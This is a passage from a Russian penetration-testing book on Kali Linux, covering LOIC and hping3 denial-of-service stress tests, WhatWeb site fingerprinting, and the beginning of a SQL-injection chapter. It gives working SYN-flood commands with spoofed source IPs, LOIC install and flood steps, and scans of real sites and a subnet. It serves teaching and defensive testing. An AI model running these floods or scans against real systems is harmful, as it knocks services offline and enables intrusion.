В общем, это хороший инструмент для тестирования на нагрузку своего собственного веб-сайта (с разрешения вашей хостинг компании), вашего корпоративного веб-сайта и любых веб-приложений, которые позволяют входящие GET или POST запросы.
Используйте её для обновления ваших правил файервола. WAF и благодаря этому избежите будущих атак.
Глава 31. Стресс-тест сети с Low Orbit Ion Cannon (LOIC) Что такое Low Orbit Ion Cannon (LOIC) Low Orbit Ion Cannon (LOIC) — это инструмент стресс-теста сети, это значит, что он создан для проверки, как много трафика цель может обработать. Чтобы основываясь на этих данных сделать оценку запаса мощности ресурсов. Эта программа вдохновила создание других подобных программ, у неё существует множество клонов, некоторые из которых позволяют проводить стресс-тест прямо из браузера.
Эта программа с успехом использовалась группой Anonymous, для облегчения их DDoS атак против нескольких веб-сайтов, в том числе некоторых очень известных общественных организаций. Противники запрета этой программы указывают, что то, что она делает, аналогично заходу на веб-сайт несколько тысяч раз; тем не менее, некоторые американские правоохранительные группы расценивают использование
LOIC как нарушение компьютерной безопасности и мошенническое действие.
Установка Low Orbit Ion Cannon (LOIC) на Windows Для пользователей Windows всё совсем просто — зайдите на сайт и скачайте архив.
Распакуйте из архива один единственный файл и запустите его. Всё готово!
По материалам сайта WebWare.biz
196
Тестирование на проникновение с помощью Kali Linux 2.0
Установка Low Orbit Ion Cannon (LOIC) на Linux
Установить LOIC можно на любой Linux, ниже, в качестве примера, выбрана установка на Kali Linux.
Для установки LOIC откройте окно терминала и наберите там:
1|
apt-get update
2|
aptitude install git-core monodevelop
3|
apt-get install mono-gmcs
Если вы, как и я, устанавливаете на Kali Linux, то следующий шаг пропускаете. Если же у вас Ubuntu, Linux Mint (возможно нужно и для Debian), то выполните следующую команду:
1|
sudo apt-get install mono-complete
Когда всё завершилось, идём в каталог рабочего стола, используя:
1|
cd ./Desktop
И создаём там папку с названием loic, используя следующую команду:
1|
mkdir loic
По материалам сайта WebWare.biz
197
Тестирование на проникновение с помощью Kali Linux 2.0
Переходим туда, используя:
1|
cd ./loic
И печатаем там следующую команду:
1|
wget https://raw.github.com/nicolargo/loicinstaller/master/loic.sh
Далее дадим разрешения файлу скрипта на исполнение:
1|
chmod 777 loic.sh
Ну и последним шагом запустим скрипт следующей командой:
1|
./loic.sh install
Если вы не видите от скрипта каких-либо сообщений об ошибках, значит вы уже готовы обновить loic. Чтобы сделать это, выполните следующую команду:
1|
./loic.sh update
Ну и совсем уже последнее, запускаем LOIC. Вы можете это сделать следующей командой:
1|
./loic.sh run
По материалам сайта WebWare.biz
198
Тестирование на проникновение с помощью Kali Linux 2.0
Кстати, помните, что на Windows мы быстрее получили программу (просто скачали файл)? А зато на Linux версия программы новее!
Стресс-тест сети с Low Orbit Ion Cannon (LOIC)
Использование LOIC простое как пробка. Вы можете выбрать ручной или IRC режим.
Для следующего примера мы выберем ручной режим. Введите URL или IP адрес. Мы введём адрес сайта. Нажмите Lock on. Нужно выбрать метод атаки: TCP, UDP или HTTP.
Мы выберем HTTP. Остальные настройки можно не менять. Когда всё готово, запустите
По материалам сайта WebWare.biz
199
Тестирование на проникновение с помощью Kali Linux 2.0
атаку кнопкой IMMA CHARGIN MAH LAZER. LOIC покажет процесс атаки. Нажмите на кнопку Stop Flooding для остановки атаки: п.с. я изучил логи сервера, заметна значительная разница между версиями для Windows и Linux. Надо думать, что там не только добавили свистоперделки вроде
IRC режима, но и изменили алгоритмы самих атак. Также интересна новая опция по подстановки случайных значений в качестве поддерикторий.
Глава 32. Стресс-тест сети: DoS с использованием hping3 и
спуфингом IP в Kali Linux
В компьютерной терминологии атака отказ-в-обслуживании (DoS) или атака распределённый отказ-в-обслуживании (DDoS) — это попытка сделать ресурсы машины или сети недоступными для пользователей. Хотя средства, мотивы и цели DoS различаются, главная её суть остаётся прежней — на время или на неопределённый срок прервать или приостановить услугу хоста, соединённого с Интернетом. В этой статье я покажу, как выполнить атаку DoS атаку с использованием hping3 и спуфингом
IP в Kali Linux.
Как известно, DDoS — это атака, осуществляемая двумя или более лицами, или ботами, а DoS атака делается одним лицом или системой. На 2014 год, частота распознанных
DDoS атак достигла в среднем 28 за каждый час.
Обычной целью исполнителей DoS атак являются сайты и услуги на привлекающих внимания серверах, вроде банковских, платёжные шлюзы кредитных карт и даже корневые сервера имён. Угроза отказа-в-обслуживании также распространены в бизнесе в отношении веб-сайтов.
Эта техника теперь широко применяется в определённых играх, используемая владельцами серверов или недовольными конкурентами в таких играх как популярные сервера Minecraft. Возрастает применение DoS как формы «Уличных Интернет
Протестов». Этот термин обычно применяется к компьютерным сетям, но не ограничивается этим; например, он также относится к управлению ресурсами CPU.
Понятно, что тема эта актуальная. Поэтому важно подготовится к атакам подобного рода. Провести стресс-тесты своих сетей и серверов. Если они проседают под натиском
По материалам сайта WebWare.biz
200
Тестирование на проникновение с помощью Kali Linux 2.0DoS, то обратитесь к инструкциям по настройке mod_evasive и mod-qos. А данная статья и другие по стресс-тесту сети помогут вам протестировать работоспособность этих модулей на ваших серверах.
Один из общих методов атаки — это насыщение целевой машины внешними запросами связи, в связи с чем она не может ответить на
легитимный трафик или отвечает так медленно, что является по существу недоступной. Такие атаки обычно ведут к перегрузке сервера. Обобщённо говоря, в результате DoS атаки оказываются занятыми те или иные ресурсы сервера и он больше не может выполнять деятельность, для которой он предназначен, либо происходит воспрепятствование связи между пользователями и жертвой таким образом, что они больше не могут адекватно обмениваться информацией.
DoS атаки незаконны. Их организаторы и рядовые исполнители преследуются по законам многих стран. Стресс-тест собственной сети не является противозаконным.
Стресс-тест чужих сетей/серверов при получении их согласия также разрешён, но необходимо учитывать интересы третьих лиц. Этими третьими лицами могут быть владельцы хостинга (если вы тестируете чужой сайт, виртуальный сервер, находящиеся на хостинге), интернет-провайдеры (поскольку значительный поток трафика может создавать нагрузку на их коммуникации) и т. д. Крайне желательно согласовывать стресс-тесты и с этими третьими лицами во избежание всех возможных проблем.
Иначе, невольно, вы станете причинителем вреда тем, на кого стресс-тест не был нацелен. hping3 хорошо отрабатывает если у вас ещё есть другие запущенные DoS инструменты вроде GoldenEye (использование нескольких инструментов, которые атакую один и тот же сайт/сервер/услугу, увеличивает шансы на успех). Знаете ли вы, что есть агентства и корпорации, которые практически в реальном времени отслеживают DDoS атаки по всему миру и отображают карту DoS в реальном времени:
https://www.digitalattackmap.com/
https://map.norsecorp.com/
https://map.ipviking.com/
Сегодня мы будем использовать для нашей атаки отказа-в-обслуживании — DoS — hping3
В этой инструкции будет продемонстрировано,
как досить используя hping3 со случайными IP источника на Kali Linux.
Перед тем, как мы начнём использовать hping3, давайте пройдёмся по основам.
Что такое hping3 hping3 это бесплатный генератор пакетов и анализатор для TCP/IP протокола. Hping, де факто, один из обязательных инструментов для аудита безопасности и тестирования файерволов и сетей, он использовался для выполнения эксплойта техники сканирования Idle Scan, которая сейчас реализована в сканере портов Nmap. Новая версия hping — hping3 — написана на скриптах с использованием языка Tcl. В ней реализует сядвижок для удобного описания строками TCP/IP пакетов, следовательно, программист может за очень короткое время написать скрипт, относящийся к низкоуровневой манипуляции пакетами TCP/IP и анализировать их.
По материалам сайта WebWare.biz
201
Тестирование на проникновение с помощью Kali Linux 2.0
Как и большинство инструментов, использующихся в компьютерной безопасности, hping3 полезен для экспертов по безопасности, но существует множество приложений, связанных с тестированием сети и системным администрированием. hping3 следует использовать для…
Traceroute/ping/probe
(трассировки/пинга/зондирования) хостов за файерволом, которые блокируют попытки использовать стандартные утилиты.
Выполнения сканирования простоя (в настоящее время реализуется в nmap с лёгким пользовательским интерфейсом).
Тестирование правил файервола.
Тестирование IDS (систем обнаружения вторжения).
Эксплуатации известных зависимостей в стеках TCP/IP.
Сетевых исследованиях
Изучении TCP/IP (hping была использована в сетевых курсах AFAIK).
Написании реальных приложений, связанных с TCP/IP тестированием и безопасностью.
При автоматизированных тестах по фильтрации трафика.
Создания рабочей модели эксплойтов.
Исследований в свере сетей и безопасности, когда нужно эмулировать комплексное TCP/IP поведение.
Прототипах систем обнаружения вторжения (IDS)
Простых в использовании утилитах с интерфейсом Tk. hping3 уже установлен в Kali Linux как и многие другие инструменты. Он крайне полезен и уже скоро я продемонстрирую его работу.
DoS с использованием hping3 и случайным IP источника
Ну хватит уже ходить вокруг да около, переходим к атаке. Запускается всё одной простой командой:
1|
root@WebWare-Kali:# hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source
192.168.1.37 2|
HPING 192.168.1.37 (eth0 192.168.1.37): S set, 40 headers + 120 data bytes
3|
hping in flood mode, no replies will be shown
4|
^C
5|
--- 192.168.1.37 hping statistic ---
6|
3258138 packets transmitted, 0 packets received, 100% packet loss
7|
round-trip min/avg/max = 0.0/0.0/0.0 ms
8|
root@WebWare-Kali:#
Давайте разберёмся в синтаксисе используемой команды:
hping3 = Имя бинарника приложения.
-c 100000 = Количество пакетов для отправки.
По материалам сайта WebWare.biz
202
Тестирование на проникновение с помощью Kali Linux 2.0
-d 120 = Размер каждого пакета, который будет отправлен на целевую машину.
-S = Я отправляю только пакеты SYN.
-w 64 = Размер окна TCP.
-p 21 = Порт назначения (используется 21 порт FTP). Вы можете использовать здесь любой порт.
—flood = Отправка пакетов так быстро, как возможно, не заботясь об отображении входящих пакетов. Решим флуда.
—rand-source = Использование рандомных IP адресов источника. Вы также можете использовать -a или –spoof чтобы спрятать имя хоста. Подробности по man hping3
192.168.1.37 = Целевой IP адрес или IP адрес целевой машины. Также вы можете использовать здесь сайт. В моём случае, тестирование происходит в лабораторных условиях, в пределах локальной сети.
Так как узнать, работает ли это? В режиме флуда hping3 не проверяет полученные ответы (в любом случае мы не могли бы это сделать, поскольку мы использовали флаг
–rand-souce, означающий, что IP адрес источника больше не ваш).
Посмотрим на ситуацию со стороны сервера. Я буду использовать команду top. Так выглядит ситуацию на сервере в режиме простоя:
Использование процессора в районе нуля, много свободной оперативной памяти.
Так сервер себя чувствует после начала атаки:
По материалам сайта WebWare.biz
203
Тестирование на проникновение с помощью Kali Linux 2.0
Эта атака не оказала влияния на оперативную памяти, но полностью поглотила ресурсы процессора.
Чтобы понять, что это за si, обратимся к Википедии:
us — (User CPU time) время, затраченное на работу программ пользователей
sy — (System CPU time) время, затраченное на работу процессов ядра
ni — (Nice CPU time) время, затраченное на работу программ с измененным приоритетом
id — простой процессора
wa — (iowait) время, затраченное на завершение ввода-вывода
hi — (Hardware IRQ) время, затраченное на обработку hardware-прерываний
si — (Software Interrupts) время, затраченное на работу обработку software-прерываний
(network)
st — (Steal Time) время, «украденное» гипервизором у этой виртуальной машины для других задач (например работа другой виртуальной машины)
Т.е. si — (Software Interrupts) время, затраченное на работу обработку software- прерываний (network). Вполне логично.
Заключение
Любые новые и современные файерволы будут блокировать это, и в наши дни большинство ядер Linux построены с защитой от SYN флуда. Эта инструкция предназначена для целей исследования и обучения. Для тех, у кого проблемы с TCP
SYN или TCP Connect флудом, попробуйте изучить IPTables и способы настройки для блокировки DoS-атак, использующих hping3 или любые другие инструменты. Вы также можете осуществлять DoS-атаку с использованием GoldenEye и другие инструменты для стресс-теста сети.
Часть 5. Анализ уязвимостей в веб-приложениях
Глава 33. Инструкция по WhatWeb: как узнать движок сайта в
Kali Linux
Как с помощью WhatWeb узнать версию движка сайта
Информация о движке и его версии очень важна при тестировании веб-приложений на проникновение. В первую очередь, эта информация будет использована для поиска эксплойтов и известных уязвимостей именно для этого движка этой версии. Это на порядок облегчает взломщику задачу. Именно поэтому многие популярные движки перестали публиковать свою версию рядом с надписью Powered by. Тем не менее, скрыть используемый движок и его версию очень непросто. Есть сканеры, которые делают это автоматически и в пакетном режиме.
Чтобы узнать движок сайта и его версию используется программа WhatWeb.
Например, есть некий форум, на нём даже нет надписи Powered by (скорее всего, это запрещено лицензией, но некоторые веб-мастера готовы идти и на нарушение
По материалам сайта WebWare.biz
204
Тестирование на проникновение с помощью Kali Linux 2.0
лицензии — лишь бы скрыть движок и его версию). Чтобы узнать информацию о нём я набираю:
1|
whatweb https://www1.hut.ru/forum/
Где whatweb — имя программы, а https://www1.hut.ru/forum/ — адрес интересующего нас сайта.
Информации много, в том числе и требуемая нам:
1|
PoweredBy[phpBB]
2|
phpBB[2]
Т.е. форум работает на движке phpBB второй версии.
Кроме этого, мы узнаём версию PHP, веб-сервера, IP адрес и страну расположения, используемые веб-технологии и даже информацию о логине в Google AdSense.
Согласитесь, начало хорошее.
Возьмём другой пример:
1|
whatweb webware.biz
Опять, информации много и она достоверна.
По материалам сайта WebWare.biz
205
Тестирование на проникновение с помощью Kali Linux 2.0
В справке программы WhatWeb упоминается про агрессивный режим — для определения точной версии WordPress, запускается он так:
1|
whatweb -a 3 webware.biz
Можно проверять по нескольку сайтов за один раз:
1|
whatweb webware.biz zalinux.ru mi-al.ru
Не смотря на свою кажущуюся простоту, справка WhatWeb довольно обширна.
Программу можно запускать не только в отношении сайта, но и в отношении подсетей
(синтаксис указания диапазонов сетей такой же как и у Nmap):
1|
whatweb 185.26.122.0/24
Опции программы WhatWeb
Рассмотрим самые интересные опции.
—input-file=ФАЙЛ, -i Идентифицировать URL, которые найдены в ФАЙЛе, например -i
/dev/stdin
Думаю, вы уже догадались что эта опция в таком виде позволяет передавать в
WhatWeb адреса сайтов по трубе:
1|
echo 'webware.biz' | whatweb -i /dev/stdin
Это мегополезно при написании скриптов.
—aggression, -a=УРОВЕНЬ
УРОВЕНЬ задаётся числами 1, 3 или 4.
1 — сканировать незаметно, 3 — сканировать агрессивно, 4 — сканировать тяжело, будут отправлены запросы от всех плагинов.
По материалам сайта WebWare.biz
206
Тестирование на проникновение с помощью Kali Linux 2.0—user-agent, -U=АГЕНТ По умолчанию пользовательский агент — WhatWeb/0.4.8-dev.
Этой опцией его можно заменить
—header, -H Добавить заголовок HTTP. например "Foo:Bar". Если задан здесь, то заголовок по умолчанию будет заменён. Если задать пустую величину, например,
"User-Agent:", то заголовок будет удалён.
—follow-redirect=КОГДА Контролирует когда следовать редиректом. КОГДА может иметь значения `never', `http-only', `meta-only', `same-site', `same-domain' или `always'.
По умолчанию: always
—max-redirects=ЧИСЛО Максимальное ЧИСЛО редиректов. По умолчанию: 10
В WhatWeb поддерживается базовая авторизация:
—user, -u= Добавьте сессионные кукиз —header, например, —header "Cookie: SESSID=1a2b3c;"
Можно использовать прокси с WhatWeb:
—proxy Задать хост и порт прокси. Порт по умолчанию: 8080
—proxy-user Задать пользователя и пароль прокси
WhatWeb поддерживает разнообразные способы сохранения полученных данных, а также позволяет менять настройки производительности/стабильности: число одновременных потоков, таймауты, время перерывов и т. д.
Как узнать точную версию движка Узнав используемый тип движка, можно скачать его исходные коды (доступны для всех бесплатных) и поискать там разнообразные файлы README.TXT, чейнджлоги и т. п.
Практически никто не беспокоится о том, чтобы удалить эти файлы. Поэтому теперь, когда вы знаете, что нужно искать, можно попробовать их найти на целевом сайте.
Как скрыть движок сайта и его версию Скрыть вид используемого движка очень непросто. Зачастую не нужно быть
специалистом и не нужно иметь никаких программ, чтобы по первому взгляду на сайт предположить используемый движок, иногда достаточно увидеть адрес одной страницы, чтобы предположить, какой движок сайт использует. Вот типичный пример: на "морде" сайта вырезаны все упоминания об используемом движке, но взглянув на исходный код HTML-страницы, догадайтесь с трёх раз, какой движок используется:
Даже если полностью изменено оформление, убраны копирайты и прочее, то по структуре файлов сайта и по некоторым другим признакам довольно легко определить популярные движки.
По материалам сайта WebWare.biz
207
Тестирование на проникновение с помощью Kali Linux 2.0Продуктивнее не пытаться спрятать эту информацию, а вовремя обновлять программное обеспечение и плагины.
Что касается точной версии, то её можно скрыть. Удаляйте не используемые файлы
(README.TXT, чейнджлоги и т. п.). Например, для WordPress удаляйте эти файлы не только из корневой директории, но и из директорий плагинов, тем и т.д.
Глава 34. SQL-инъекции: простое объяснение для начинающих (часть 1) Суть SQL-инъекций Наверное, уже слышали шутку из Интернета: «
Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом — раз — за пять минут — рисуем оставшуюся часть совы».
Вот даже картинка по этому поводу есть:
По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные).
При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…
Цель этой заметки — натянуть глаз на сову дать нормальное просто объяснение,
что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны.
Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:
1|
2|
3|
7|
8|
перейти в каталог файлов